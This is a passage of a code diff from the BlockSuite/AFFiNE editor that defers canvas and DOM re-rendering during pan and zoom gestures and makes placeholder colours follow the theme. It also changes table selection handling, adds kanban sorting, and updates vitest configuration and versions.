+    const shouldRenderPlaceholders = shouldRenderCanvasPlaceholders({
+      isIOS: IS_IOS,
+      zoom: this.viewport.zoom,
+      isPanning: this.viewport.panning$.value,
+      isZooming: this.viewport.zooming$.value,
+      skipRefreshDuringGesture: this.viewport.SKIP_REFRESH_DURING_GESTURE,
+      turboEnabled: this._turboEnabled(),
+    });
+
+    const bypassModeChanged =
+      this._lastBypassStackingCanvases !== shouldBypassStackingCanvases;
+
+    this._syncStackingCanvasAttachment(!shouldBypassStackingCanvases);
+
+    if (this.usePlaceholder === shouldRenderPlaceholders) {
+      this._lastLowZoomSurvivalMode = lowZoomSurvivalMode;
+      this._lastBypassStackingCanvases = shouldBypassStackingCanvases;
+      if (bypassModeChanged) {
+        this.refresh({ type: 'all' });
+      }
+      return;
+    }
+
+    this.usePlaceholder = shouldRenderPlaceholders;
+    const survivalModeChanged =
+      this._lastLowZoomSurvivalMode !== lowZoomSurvivalMode;
+    this._lastLowZoomSurvivalMode = lowZoomSurvivalMode;
+    this._lastBypassStackingCanvases = shouldBypassStackingCanvases;
+
+    if (
+      survivalModeChanged ||
+      bypassModeChanged ||
+      !this.viewport.SKIP_REFRESH_DURING_GESTURE ||
+      !gestureActive
+    ) {
+      this.refresh({ type: 'all' });
+    }
+  }
+
   private _initStackingCanvas(onCreated?: (canvas: HTMLCanvasElement) => void) {
     const layer = this.layerManager;
     const updateStackingCanvas = () => {
@@ -476,7 +775,9 @@ export class CanvasRenderer {
         };
 
         if (diff > 0) {
-          payload.added = canvases.slice(-diff);
+          if (this._stackingCanvasesAttached) {
+            payload.added = canvases.slice(-diff);
+          }
         } else {
           payload.removed = currentCanvases.slice(diff);
           payload.removed.forEach(canvas => {
@@ -485,7 +786,9 @@ export class CanvasRenderer {
           });
         }
 
-        this.stackingCanvasUpdated.next(payload);
+        if (payload.added.length || payload.removed.length) {
+          this.stackingCanvasUpdated.next(payload);
+        }
       }
 
       this.refresh({ type: 'all' });
@@ -503,41 +806,131 @@ export class CanvasRenderer {
   private _initViewport() {
     let sizeUpdatedRafId: number | null = null;
 
+    this._disposables.add({
+      dispose: () => this._clearStackingCanvasRecoveryTimer(),
+    });
+
+    this._disposables.add(
+      this.viewport.zoomUpdated.subscribe(() => {
+        this._syncCanvasBudgetForViewportZoom();
+      })
+    );
+
     this._disposables.add(
       this.viewport.viewportUpdated.subscribe(() => {
+        this._updatePlaceholderMode();
+        if (
+          this.viewport.SKIP_REFRESH_DURING_GESTURE &&
+          (this.viewport.panning$.value || this.viewport.zooming$.value)
+        ) {
+          return;
+        }
         this.refresh({ type: 'all' });
       })
     );
 
     this._disposables.add(
       this.viewport.sizeUpdated.subscribe(() => {
+        if (
+          IS_IOS &&
+          this.viewport.zoom <= IOS_LOW_ZOOM_SURVIVAL_THRESHOLD &&
+          this.viewport.width > this.viewport.height
+        ) {
+          this._scheduleStackingCanvasRecoveryWindow();
+          if (this._container) {
+            this._updatePlaceholderMode();
+          }
+        }
+
         if (sizeUpdatedRafId) return;
         sizeUpdatedRafId = requestConnectedFrame(() => {
           sizeUpdatedRafId = null;
           this._resetSize();
-          this._render();
+          // When SKIP_REFRESH_DURING_GESTURE is active, schedule the render
+          // after a short delay to let the layout settle on orientation change,
+          // avoiding a white-flash from resizing + rendering in the same frame.
+          if (this.viewport.SKIP_REFRESH_DURING_GESTURE) {
+            setTimeout(() => this._render(), 16);
+          } else {
+            this._render();
+          }
         }, this._container);
       })
     );
 
     this._disposables.add(
-      this.viewport.zooming$.subscribe(isZooming => {
-        const shouldRenderPlaceholders = this._turboEnabled() && isZooming;
-
-        if (this.usePlaceholder !== shouldRenderPlaceholders) {
-          this.usePlaceholder = shouldRenderPlaceholders;
-          this.refresh({ type: 'all' });
-        }
+      this.viewport.zooming$.subscribe(() => {
+        this._updatePlaceholderMode();
       })
     );
 
+    // When SKIP_REFRESH_DURING_GESTURE is enabled, defer heavy canvas work
+    // while the gesture is still in-flight, but start the first recovery frame
+    // immediately once both gesture signals have fully settled.
+    if (this.viewport.SKIP_REFRESH_DURING_GESTURE) {
+      let pendingCanvasTimerId: ReturnType<typeof setTimeout> | null = null;
+
+      const cancelPendingCanvasRefresh = () => {
+        if (pendingCanvasTimerId !== null) {
+          clearTimeout(pendingCanvasTimerId);
+          pendingCanvasTimerId = null;
+        }
+      };
+
+      const scheduleCanvasRefresh = () => {
+        cancelPendingCanvasRefresh();
+        const delayMs = getPostGestureRecoveryDelay({
+          isPanning: this.viewport.panning$.value,
+          isZooming: this.viewport.zooming$.value,
+          fallbackDelayMs: viewportRuntimeConfig.POST_GESTURE_REFRESH_DELAY,
+        });
+        pendingCanvasTimerId = setTimeout(() => {
+          pendingCanvasTimerId = null;
+          // If a gesture is still in-flight when the timer fires, reschedule
+          // instead of dropping. Dropping here left connectors blank until a
+          // tap forced a synchronous refresh.
+          if (this.viewport.panning$.value || this.viewport.zooming$.value) {
+            scheduleCanvasRefresh();
+            return;
+          }
+          this.refresh({ type: 'all' });
+        }, delayMs);
+      };
+
+      this._disposables.add(
+        this.viewport.panning$.subscribe(panning => {
+          this._updatePlaceholderMode();
+          if (panning) {
+            cancelPendingCanvasRefresh();
+          } else {
+            scheduleCanvasRefresh();
+          }
+        })
+      );
+      this._disposables.add(
+        this.viewport.zooming$.subscribe(zooming => {
+          this._updatePlaceholderMode();
+          if (zooming) {
+            cancelPendingCanvasRefresh();
+          } else {
+            scheduleCanvasRefresh();
+          }
+        })
+      );
+      this._disposables.add({ dispose: cancelPendingCanvasRefresh });
+    }
+
     let wasDragging = false;
     this._disposables.add(
       effect(() => {
         const isDragging = this._gfx.tool.dragging$.value;
 
         if (wasDragging && !isDragging) {
-          this.refresh({ type: 'all' });
+          if (this.viewport.panning$.value || this.viewport.zooming$.value) {
+            // Deferred refresh will handle it after gesture ends
+          } else {
+            this.refresh({ type: 'all' });
+          }
         }
 
         wasDragging = isDragging;
@@ -572,16 +965,34 @@ export class CanvasRenderer {
 
   private _render() {
     const renderStart = performance.now();
-    const { viewportBounds, zoom } = this.viewport;
+    const { overscanViewportBounds, viewportBounds, zoom } = this.viewport;
+    const {
+      cullBound: mainCanvasCullBound,
+      renderBound: mainCanvasRenderBound,
+    } = getMainCanvasFallbackBounds({
+      viewportBounds,
+      overscanViewportBounds,
+    });
     const { ctx } = this;
-    const dpr = window.devicePixelRatio;
+    const dpr = getEffectiveDpr(zoom);
     const scale = zoom * dpr;
     const matrix = new DOMMatrix().scaleSelf(scale);
     const renderStats = this._createRenderPassStats();
     const fullRender = this._needsFullRender;
-    const stackingIndexesToRender = fullRender
-      ? this._stackingCanvas.map((_, idx) => idx)
-      : [...this._dirtyStackingCanvasIndexes];
+    const bypassStackingCanvases = getStackingCanvasBypassState({
+      isIOS: IS_IOS,
+      zoom: this.viewport.zoom,
+      gestureActive:
+        this.viewport.panning$.value || this.viewport.zooming$.value,
+      recoveryActive: this._isStackingCanvasRecoveryActive(),
+      viewportWidth: this.viewport.width,
+      viewportHeight: this.viewport.height,
+    });
+    const stackingIndexesToRender = bypassStackingCanvases
+      ? []
+      : fullRender
+        ? this._stackingCanvas.map((_, idx) => idx)
+        : [...this._dirtyStackingCanvasIndexes];
     /**
      * if a layer does not have a corresponding canvas
      * its element will be add to this array and drawing on the
@@ -589,7 +1000,15 @@ export class CanvasRenderer {
      */
     let fallbackElement: SurfaceElementModel[] = [];
     const allCanvasLayers = this.layerManager.getCanvasLayers();
-    const viewportBound = Bound.from(viewportBounds);
+    const stackingViewportBound = Bound.from(overscanViewportBounds);
+
+    this._canvasSizeUpdater(mainCanvasRenderBound, dpr).update(this.canvas);
+
+    if (bypassStackingCanvases) {
+      this._stackingCanvas.forEach(canvas => {
+        this._applyStackingCanvasLayout(canvas, null, dpr);
+      });
+    }
 
     for (const idx of stackingIndexesToRender) {
       const layer = allCanvasLayers[idx];
@@ -601,7 +1020,7 @@ export class CanvasRenderer {
 
       const layerRenderBound = this._getLayerRenderBound(
         layer.elements,
-        viewportBound
+        stackingViewportBound
       );
       const resolvedLayerRenderBound = this._getResolvedStackingCanvasBound(
         canvas,
@@ -638,7 +1057,12 @@ export class CanvasRenderer {
 
     if (fullRender || this._mainCanvasDirty) {
       allCanvasLayers.forEach((layer, idx) => {
-        if (!this._stackingCanvas[idx]) {
+        if (
+          bypassStackingCanvases ||
+          !this._stackingCanvas[idx] ||
+          this._stackingCanvas[idx].width === 0 ||
+          this._stackingCanvas[idx].height === 0
+        ) {
           fallbackElement = fallbackElement.concat(layer.elements);
         }
       });
@@ -651,10 +1075,11 @@ export class CanvasRenderer {
         ctx,
         matrix,
         new RoughCanvas(ctx.canvas),
-        viewportBounds,
+        mainCanvasRenderBound,
         fallbackElement,
         true,
-        renderStats
+        renderStats,
+        mainCanvasCullBound
       );
     }
 
@@ -726,7 +1151,8 @@ export class CanvasRenderer {
     bound: IBound,
     surfaceElements?: SurfaceElementModel[],
     overLay: boolean = false,
-    renderStats?: RenderPassStats
+    renderStats?: RenderPassStats,
+    cullBound: IBound = bound
   ) {
     if (!ctx) return;
 
@@ -734,13 +1160,13 @@ export class CanvasRenderer {
 
     const elements =
       surfaceElements ??
-      (this.grid.search(bound, {
+      (this.grid.search(cullBound, {
         filter: ['canvas', 'local'],
       }) as SurfaceElementModel[]);
 
     for (const element of elements) {
       const display = (element.display ?? true) && !element.hidden;
-      if (display && intersects(getBoundWithRotation(element), bound)) {
+      if (display && intersects(getBoundWithRotation(element), cullBound)) {
         renderStats && (renderStats.visibleElementCount += 1);
         if (
           this.usePlaceholder &&
@@ -748,7 +1174,7 @@ export class CanvasRenderer {
         ) {
           renderStats && (renderStats.placeholderElementCount += 1);
           ctx.save();
-          ctx.fillStyle = 'rgba(200, 200, 200, 0.5)';
+          ctx.fillStyle = resolveSurfacePlaceholderColor(this.getColorScheme());
           const drawX = element.x - bound.x;
           const drawY = element.y - bound.y;
           ctx.fillRect(drawX, drawY, element.w, element.h);
@@ -785,9 +1211,12 @@ export class CanvasRenderer {
   }
 
   private _resetSize() {
-    const sizeUpdater = this._canvasSizeUpdater();
+    const sizeUpdater = this._canvasSizeUpdater(
+      this.viewport.overscanViewportBounds
+    );
 
     sizeUpdater.update(this.canvas);
+    this._lastCanvasBudgetZoom = this.viewport.zoom;
     this._invalidate({ type: 'all' });
   }
 
@@ -838,6 +1267,7 @@ export class CanvasRenderer {
     this._container = container;
     container.append(this.canvas);
 
+    this._updatePlaceholderMode();
     this._resetSize();
     this.refresh({ type: 'all' });
   }
@@ -864,8 +1294,11 @@ export class CanvasRenderer {
     canvas = canvas || document.createElement('canvas');
 
     const dpr = window.devicePixelRatio || 1;
-    if (canvas.width !== bound.w * dpr) canvas.width = bound.w * dpr;
-    if (canvas.height !== bound.h * dpr) canvas.height = bound.h * dpr;
+    const actualWidth = Math.ceil(bound.w * dpr);
+    const actualHeight = Math.ceil(bound.h * dpr);
+
+    if (canvas.width !== actualWidth) canvas.width = actualWidth;
+    if (canvas.height !== actualHeight) canvas.height = actualHeight;
 
     canvas.style.width = `${bound.w}px`;
     canvas.style.height = `${bound.h}px`;

blocksuite/affine/blocks/surface/src/renderer/dom-renderer.ts

@@ -19,12 +19,14 @@ import type {
   SurfaceBlockModel,
   Viewport,
 } from '@blocksuite/std/gfx';
+import { viewportRuntimeConfig } from '@blocksuite/std/gfx';
 import { Subject } from 'rxjs';
 
 import type { SurfaceElementModel } from '../element-model/base.js';
 import type { DomElementRenderer } from './dom-elements/index.js';
 import { DomElementRendererIdentifier } from './dom-elements/index.js';
 import type { Overlay } from './overlay.js';
+import { resolveSurfacePlaceholderColor } from './placeholder-style.js';
 
 type EnvProvider = {
   generateColorProperty: (color: Color, fallback?: Color) => string;
@@ -222,6 +224,12 @@ export class DomRenderer {
   private _initViewport() {
     this._disposables.add(
       this.viewport.viewportUpdated.subscribe(() => {
+        if (
+          this.viewport.SKIP_REFRESH_DURING_GESTURE &&
+          (this.viewport.panning$.value || this.viewport.zooming$.value)
+        ) {
+          return;
+        }
         this._markViewportDirty();
         this.refresh();
       })
@@ -242,6 +250,9 @@ export class DomRenderer {
 
     this._disposables.add(
       this.viewport.zooming$.subscribe(isZooming => {
+        if (this.viewport.SKIP_REFRESH_DURING_GESTURE) {
+          return;
+        }
         const shouldRenderPlaceholders = this._turboEnabled() && isZooming;
 
         if (this.usePlaceholder !== shouldRenderPlaceholders) {
@@ -252,6 +263,43 @@ export class DomRenderer {
       })
     );
 
+    // Post-gesture refresh for SKIP mode
+    if (this.viewport.SKIP_REFRESH_DURING_GESTURE) {
+      let pendingTimerId: ReturnType<typeof setTimeout> | null = null;
+
+      const cancelRefresh = () => {
+        if (pendingTimerId !== null) {
+          clearTimeout(pendingTimerId);
+          pendingTimerId = null;
+        }
+      };
+
+      const scheduleRefresh = () => {
+        cancelRefresh();
+        pendingTimerId = setTimeout(() => {
+          pendingTimerId = null;
+          if (!this.viewport.panning$.value && !this.viewport.zooming$.value) {
+            this._markViewportDirty();
+            this.refresh();
+          }
+        }, viewportRuntimeConfig.POST_GESTURE_REFRESH_DELAY);
+      };
+
+      this._disposables.add(
+        this.viewport.panning$.subscribe(panning => {
+          if (panning) cancelRefresh();
+          else if (!this.viewport.zooming$.value) scheduleRefresh();
+        })
+      );
+      this._disposables.add(
+        this.viewport.zooming$.subscribe(zooming => {
+          if (zooming) cancelRefresh();
+          else if (!this.viewport.panning$.value) scheduleRefresh();
+        })
+      );
+      this._disposables.add({ dispose: cancelRefresh });
+    }
+
     this.usePlaceholder = false;
   }
 
@@ -292,12 +340,15 @@ export class DomRenderer {
       domElement = document.createElement('div');
       domElement.dataset.elementId = elementModel.id;
       domElement.style.position = 'absolute';
-      domElement.style.backgroundColor = 'rgba(200, 200, 200, 0.5)';
       this._elementsMap.set(elementModel.id, domElement);
       this.rootElement.append(domElement);
       addedElements.push(domElement);
     }
 
+    domElement.style.backgroundColor = resolveSurfacePlaceholderColor(
+      this.getColorScheme()
+    );
+
     const geometricStyles = calculatePlaceholderRect(
       elementModel,
       viewportBounds,

blocksuite/affine/blocks/surface/src/renderer/placeholder-style.ts

@@ -0,0 +1,10 @@
+import { type ColorScheme } from '@blocksuite/affine-model';
+import { getAffinePlaceholderFillColor } from '@blocksuite/affine-shared/theme';
+
+export function getSurfacePlaceholderFallback(colorScheme: ColorScheme) {
+  return getAffinePlaceholderFillColor(colorScheme);
+}
+
+export function resolveSurfacePlaceholderColor(colorScheme: ColorScheme) {
+  return getSurfacePlaceholderFallback(colorScheme);
+}

blocksuite/affine/blocks/table/src/selection-controller.ts

@@ -527,6 +527,9 @@ export class SelectionController implements ReactiveController {
     removeNativeSelection = true
   ) {
     if (selection) {
+      if (this.hasExternalNativeSelection()) {
+        return;
+      }
       const previous = this.getSelected();
       if (TableSelectionData.equals(previous, selection)) {
         return;
@@ -551,4 +554,24 @@ export class SelectionController implements ReactiveController {
     );
     return selection?.is(TableSelection) ? selection.data : undefined;
   }
+
+  private hasExternalNativeSelection() {
+    const selection = getSelection();
+    if (!selection || selection.isCollapsed || selection.rangeCount === 0) {
+      return false;
+    }
+
+    const range = selection.getRangeAt(0);
+    if (!range.intersectsNode(this.host)) {
+      return false;
+    }
+
+    const anchorNode = selection.anchorNode;
+    const focusNode = selection.focusNode;
+    return (
+      !!anchorNode &&
+      !!focusNode &&
+      (!this.host.contains(anchorNode) || !this.host.contains(focusNode))
+    );
+  }
 }

blocksuite/affine/blocks/table/src/table-block-css.ts

@@ -1,10 +1,32 @@
 import { css } from '@emotion/css';
 
+const externalRangeSelectionSelector =
+  'affine-table[data-external-range-selection]';
+const hiddenSelectionBackground = '#fff';
+
 export const tableContainer = css({
   display: 'block',
   padding: '10px 0 18px 10px',
   overflowX: 'auto',
   overflowY: 'visible',
+  userSelect: 'none',
+  WebkitUserSelect: 'none',
+  '& *': {
+    userSelect: 'none',
+    WebkitUserSelect: 'none',
+  },
+  [`${externalRangeSelectionSelector} &::selection`]: {
+    backgroundColor: hiddenSelectionBackground,
+  },
+  [`${externalRangeSelectionSelector} & *::selection`]: {
+    backgroundColor: hiddenSelectionBackground,
+  },
+  [`${externalRangeSelectionSelector} & rich-text::selection`]: {
+    backgroundColor: hiddenSelectionBackground,
+  },
+  [`${externalRangeSelectionSelector} & rich-text *::selection`]: {
+    backgroundColor: hiddenSelectionBackground,
+  },
   '::-webkit-scrollbar': {
     height: '8px',
   },

blocksuite/affine/blocks/table/src/table-block.ts

@@ -5,7 +5,10 @@ import { DocModeProvider } from '@blocksuite/affine-shared/services';
 import { VirtualPaddingController } from '@blocksuite/affine-shared/utils';
 import { IS_MOBILE } from '@blocksuite/global/env';
 import type { BlockComponent } from '@blocksuite/std';
-import { RANGE_SYNC_EXCLUDE_ATTR } from '@blocksuite/std/inline';
+import {
+  RANGE_QUERY_EXCLUDE_ATTR,
+  RANGE_SYNC_EXCLUDE_ATTR,
+} from '@blocksuite/std/inline';
 import { signal } from '@preact/signals-core';
 import { html, nothing } from 'lit';
 import { ref } from 'lit/directives/ref.js';
@@ -37,7 +40,80 @@ export class TableBlockComponent extends CaptionedBlockComponent<TableBlockModel
   override connectedCallback() {
     super.connectedCallback();
     this.setAttribute(RANGE_SYNC_EXCLUDE_ATTR, 'true');
+    this.setAttribute(RANGE_QUERY_EXCLUDE_ATTR, 'true');
     this.style.position = 'relative';
+    const doc = this.ownerDocument;
+    this.disposables.addFromEvent(doc, 'selectionchange', () => {
+      const hasExternalNativeSelection = this.hasExternalNativeSelection();
+      this.toggleAttribute(
+        'data-external-range-selection',
+        hasExternalNativeSelection
+      );
+      if (hasExternalNativeSelection) {
+        delete this.dataset.internalRangeSelection;
+      }
+      this.setInternalEditablesEnabled(!hasExternalNativeSelection);
+    });
+    this.disposables.addFromEvent(
+      doc,
+      'pointerdown',
+      event => {
+        const target = event.target;
+        const NodeConstructor = this.ownerDocument.defaultView?.Node;
+        if (
+          NodeConstructor &&
+          target instanceof NodeConstructor &&
+          this.contains(target)
+        ) {
+          this.setInternalEditablesEnabled(true);
+          if (this.hasExternalNativeSelection()) {
+            this.ownerDocument.getSelection()?.removeAllRanges();
+          }
+          delete this.dataset.externalRangeSelection;
+          this.dataset.internalRangeSelection = 'true';
+        } else {
+          delete this.dataset.internalRangeSelection;
+        }
+      },
+      { capture: true }
+    );
+  }
+
+  private setInternalEditablesEnabled(enabled: boolean) {
+    this.querySelectorAll<HTMLElement>('.inline-editor').forEach(editor => {
+      if (enabled) {
+        if (editor.dataset.tableExternalSelectionDisabled === 'true') {
+          editor.contentEditable = 'true';
+          delete editor.dataset.tableExternalSelectionDisabled;
+        }
+        return;
+      }
+
+      if (editor.contentEditable === 'true') {
+        editor.contentEditable = 'false';
+        editor.dataset.tableExternalSelectionDisabled = 'true';
+      }
+    });
+  }
+
+  private hasExternalNativeSelection() {
+    const selection = this.ownerDocument.getSelection();
+    if (!selection || selection.isCollapsed || selection.rangeCount === 0) {
+      return false;
+    }
+
+    const range = selection.getRangeAt(0);
+    if (!range.intersectsNode(this)) {
+      return false;
+    }
+
+    const anchorNode = selection.anchorNode;
+    const focusNode = selection.focusNode;
+    return (
+      !!anchorNode &&
+      !!focusNode &&
+      (!this.contains(anchorNode) || !this.contains(focusNode))
+    );
   }
 
   override get topContenteditableElement() {

blocksuite/affine/blocks/table/src/table-cell-css.ts

@@ -10,6 +10,18 @@ export const cellContainerStyle = css({
   isolation: 'auto',
   textAlign: 'start',
   verticalAlign: 'top',
+  'affine-table[data-internal-range-selection="true"] &': {
+    userSelect: 'text',
+    WebkitUserSelect: 'text',
+  },
+  'affine-table[data-internal-range-selection="true"] & rich-text': {
+    userSelect: 'text',
+    WebkitUserSelect: 'text',
+  },
+  'affine-table[data-internal-range-selection="true"] & rich-text *': {
+    userSelect: 'text',
+    WebkitUserSelect: 'text',
+  },
 });
 
 export const columnOptionsCellStyle = css({

blocksuite/affine/blocks/table/src/table-cell.ts

@@ -649,12 +649,9 @@ export class TableCell extends SignalWatcher(
   }
 
   private readonly _handleKeyDown = (e: KeyboardEvent) => {
-    if (e.key !== 'Escape') {
-      if (e.key === 'Tab') {
-        e.preventDefault();
-        return;
-      }
-      e.stopPropagation();
+    if (e.key !== 'Escape' && e.key === 'Tab') {
+      e.preventDefault();
+      return;
     }
   };
 

blocksuite/affine/blocks/table/src/table-keymap.ts

@@ -0,0 +1,7 @@
+import { textKeymap } from '@blocksuite/affine-inline-preset';
+import { TableBlockSchema } from '@blocksuite/affine-model';
+import { KeymapExtension } from '@blocksuite/std';
+
+export const TableKeymapExtension = KeymapExtension(textKeymap, {
+  flavour: TableBlockSchema.model.flavour,
+});

blocksuite/affine/blocks/table/src/view.ts

@@ -9,6 +9,7 @@ import { literal } from 'lit/static-html.js';
 
 import { tableSlashMenuConfig } from './configs/slash-menu';
 import { effects } from './effects';
+import { TableKeymapExtension } from './table-keymap.js';
 
 export class TableViewExtension extends ViewExtensionProvider {
   override name = 'affine-table-block';
@@ -22,6 +23,7 @@ export class TableViewExtension extends ViewExtensionProvider {
     super.setup(context);
     context.register([
       FlavourExtension(TableModelFlavour),
+      TableKeymapExtension,
       BlockViewExtension(TableModelFlavour, literal`affine-table`),
       SlashMenuConfigExtension(TableModelFlavour, tableSlashMenuConfig),
     ]);

blocksuite/affine/data-view/package.json

@@ -30,7 +30,7 @@
     "zod": "^3.25.76"
   },
   "devDependencies": {
-    "vitest": "^4.0.18"
+    "vitest": "^4.1.8"
   },
   "exports": {
     ".": "./src/index.ts",

blocksuite/affine/data-view/src/view-presets/kanban/kanban-view-manager.ts

@@ -15,7 +15,9 @@ import {
   sortByManually,
 } from '../../core/group-by/trait.js';
 import { fromJson } from '../../core/property/utils';
+import { SortManager, sortTraitKey } from '../../core/sort/manager.js';
 import { PropertyBase } from '../../core/view-manager/property.js';
+import type { Row } from '../../core/view-manager/row.js';
 import { SingleViewBase } from '../../core/view-manager/single-view.js';
 import type { ViewManager } from '../../core/view-manager/view-manager.js';
 import type { KanbanViewColumn, KanbanViewData } from './define.js';
@@ -92,6 +94,19 @@ export class KanbanSingleView extends SingleViewBase<KanbanViewData> {
     return this.data$.value?.filter ?? emptyFilterGroup;
   });
 
+  private readonly sortList$ = computed(() => {
+    return this.data$.value?.sort;
+  });
+
+  private readonly sortManager = this.traitSet(
+    sortTraitKey,
+    new SortManager(this.sortList$, this, {
+      setSortList: sortList => {
+        this.dataUpdate(data => ({ sort: { ...data.sort, ...sortList } }));
+      },
+    })
+  );
+
   filterTrait = this.traitSet(
     filterTraitKey,
     new FilterTrait(this.filter$, this, {
@@ -140,6 +155,7 @@ export class KanbanSingleView extends SingleViewBase<KanbanViewData> {
         return asc === false ? sorted.reverse() : sorted;
       },
       sortRow: (key, rows) => {
+        if (this.sortManager.hasSort$.value) return rows;
         const property = this.view?.groupProperties.find(v => v.key === key);
         return sortByManually(
           rows,
@@ -359,6 +375,10 @@ export class KanbanSingleView extends SingleViewBase<KanbanViewData> {
     return true;
   }
 
+  protected override rowsMapping(rows: Row[]): Row[] {
+    return this.sortManager.sort(super.rowsMapping(rows));
+  }
+
   propertyGetOrCreate(columnId: string): KanbanColumn {
     return new KanbanColumn(this, columnId);
   }

blocksuite/affine/data-view/vitest.config.ts

@@ -1,3 +1,5 @@
+import { fileURLToPath } from 'node:url';
+
 import { defineConfig } from 'vitest/config';
 
 export default defineConfig({
@@ -5,7 +7,9 @@ export default defineConfig({
     target: 'es2018',
   },
   test: {
-    globalSetup: '../../scripts/vitest-global.js',
+    globalSetup: fileURLToPath(
+      new URL('../../../scripts/vitest-global.js', import.meta.url)
+    ),
     include: ['src/__tests__/**/*.unit.spec.ts'],
     testTimeout: 1000,
     coverage: {

blocksuite/affine/ext-loader/package.json

@@ -15,7 +15,7 @@
     "zod": "^3.25.76"
   },
   "devDependencies": {
-    "vitest": "^4.0.18"
+    "vitest": "^4.1.8"
   },
   "exports": {
     ".": "./src/index.ts"

blocksuite/affine/gfx/connector/src/renderer/element-renderer.ts

@@ -19,6 +19,7 @@ import {
   type LocalConnectorElementModel,
   type PointStyle,
 } from '@blocksuite/affine-model';
+import { getAffinePlaceholderFillColor } from '@blocksuite/affine-shared/theme';
 import {
   getBezierParameters,
   type PointLocation,
@@ -253,7 +254,7 @@ function renderLabel(
   ctx.setTransform(matrix);
 
   if (renderer.usePlaceholder) {
-    ctx.fillStyle = 'rgba(200, 200, 200, 0.5)';
+    ctx.fillStyle = getAffinePlaceholderFillColor(renderer.getColorScheme());
     ctx.fillRect(0, 0, w, h);
     return; // Skip actual label rendering
   }

blocksuite/affine/gfx/group/package.json

@@ -26,7 +26,7 @@
     "lit": "^3.2.0"
   },
   "devDependencies": {
-    "vitest": "^4.0.18"
+    "vitest": "^4.1.8"
   },
   "exports": {
     ".": "./src/index.ts",

blocksuite/affine/gfx/group/vitest.config.ts

@@ -1,3 +1,5 @@
+import { fileURLToPath } from 'node:url';
+
 import { defineConfig } from 'vitest/config';
 
 export default defineConfig({
@@ -5,7 +7,9 @@ export default defineConfig({
     target: 'es2018',
   },
   test: {
-    globalSetup: '../../../scripts/vitest-global.js',
+    globalSetup: fileURLToPath(
+      new URL('../../../../scripts/vitest-global.js', import.meta.url)
+    ),
     include: ['src/__tests__/**/*.unit.spec.ts'],
     testTimeout: 1000,
     coverage: {

blocksuite/affine/gfx/mindmap/src/view/view.ts

@@ -119,15 +119,14 @@ export class MindMapView extends GfxElementModelView<MindmapElementModel> {
   private _setLayoutMethod() {
     this.model.setLayoutMethod(function (
       this: MindmapElementModel,
-      tree: MindmapNode | MindmapRoot = this.tree,
-      options: {
-        applyStyle?: boolean;
-        layoutType?: LayoutType;
-        stashed?: boolean;
-      } = {
-        applyStyle: true,
-        stashed: true,
-      }
+      tree: MindmapNode | MindmapRoot | undefined,
+      options:
+        | {
+            applyStyle?: boolean;
+            layoutType?: LayoutType;
+            stashed?: boolean;
+          }
+        | undefined
     ) {
       const { stashed, applyStyle, layoutType } = Object.assign(
         {
@@ -137,9 +136,10 @@ export class MindMapView extends GfxElementModelView<MindmapElementModel> {
         },
         options
       );
+      const targetTree = tree ?? this.tree;
 
-      const pop = stashed ? this.stashTree(tree) : null;
-      handleLayout(this, tree, applyStyle, layoutType);
+      const pop = stashed ? this.stashTree(targetTree) : null;
+      handleLayout(this, targetTree, applyStyle, layoutType);
       pop?.();
     });
   }

blocksuite/affine/gfx/pointer/package.json

@@ -22,7 +22,7 @@
     "lit": "^3.2.0"
   },
   "devDependencies": {
-    "vitest": "^4.0.18"
+    "vitest": "^4.1.8"
   },
   "exports": {
     ".": "./src/index.ts",

blocksuite/affine/gfx/pointer/vitest.config.ts

@@ -1,3 +1,5 @@
+import { fileURLToPath } from 'node:url';
+
 import { defineConfig } from 'vitest/config';
 
 export default defineConfig({
@@ -5,7 +7,9 @@ export default defineConfig({
     target: 'es2018',
   },
   test: {
-    globalSetup: '../../../scripts/vitest-global.js',
+    globalSetup: fileURLToPath(
+      new URL('../../../../scripts/vitest-global.js', import.meta.url)
+    ),
     include: ['src/__tests__/**/*.unit.spec.ts'],
     testTimeout: 1000,
     coverage: {

blocksuite/affine/gfx/turbo-renderer/package.json

@@ -10,6 +10,7 @@
   "author": "toeverything",
   "license": "MIT",
   "dependencies": {
+    "@blocksuite/affine-shared": "workspace:*",
     "@blocksuite/global": "workspace:*",
     "@blocksuite/std": "workspace:*",
     "@blocksuite/store": "workspace:*",

blocksuite/affine/gfx/turbo-renderer/src/renderer-utils.ts

@@ -1,5 +1,10 @@
+import {
+  getAffinePlaceholderFillColor,
+  getAffinePlaceholderStrokeColor,
+  inferColorSchemeFromThemeMode,
+} from '@blocksuite/affine-shared/theme';
 import type { EditorHost, GfxBlockComponent } from '@blocksuite/std';
-import { type Viewport } from '@blocksuite/std/gfx';
+import { getEffectiveDpr, type Viewport } from '@blocksuite/std/gfx';
 import type { BlockModel } from '@blocksuite/store';
 
 import { BlockLayoutHandlersIdentifier } from './layout/block-layout-provider';
@@ -10,9 +15,13 @@ import type {
   ViewportLayoutTree,
 } from './types';
 
-export function syncCanvasSize(canvas: HTMLCanvasElement, host: HTMLElement) {
+export function syncCanvasSize(
+  canvas: HTMLCanvasElement,
+  host: HTMLElement,
+  zoom = 1
+) {
   const hostRect = host.getBoundingClientRect();
-  const dpr = window.devicePixelRatio;
+  const dpr = getEffectiveDpr(zoom);
   canvas.style.position = 'absolute';
   canvas.style.left = '0px';
   canvas.style.top = '0px';
@@ -186,21 +195,21 @@ export function paintPlaceholder(
   const ctx = canvas.getContext('2d');
   if (!ctx || !layout) return;
 
-  const dpr = window.devicePixelRatio;
+  const dpr = getEffectiveDpr(viewport.zoom);
   const { overallRect } = layout;
   const layoutViewCoord = viewport.toViewCoord(overallRect.x, overallRect.y);
 
   const offsetX = layoutViewCoord[0];
   const offsetY = layoutViewCoord[1];
-  const colors = [
-    'rgba(200, 200, 200, 0.7)',
-    'rgba(180, 180, 180, 0.7)',
-    'rgba(160, 160, 160, 0.7)',
-  ];
+  const colorScheme = inferColorSchemeFromThemeMode(
+    document.documentElement.dataset.theme
+  );
+  const fillColor = getAffinePlaceholderFillColor(colorScheme);
+  const strokeColor = getAffinePlaceholderStrokeColor(colorScheme);
 
-  const paintNode = (node: BlockLayoutTreeNode, depth: number = 0) => {
+  const paintNode = (node: BlockLayoutTreeNode) => {
     const { layout: nodeLayout } = node;
-    ctx.fillStyle = colors[depth % colors.length];
+    ctx.fillStyle = fillColor;
     const rect = nodeLayout.rect;
     const x = ((rect.x - overallRect.x) * viewport.zoom + offsetX) * dpr;
     const y = ((rect.y - overallRect.y) * viewport.zoom + offsetY) * dpr;
@@ -209,12 +218,12 @@ export function paintPlaceholder(
 
     ctx.fillRect(x, y, width, height);
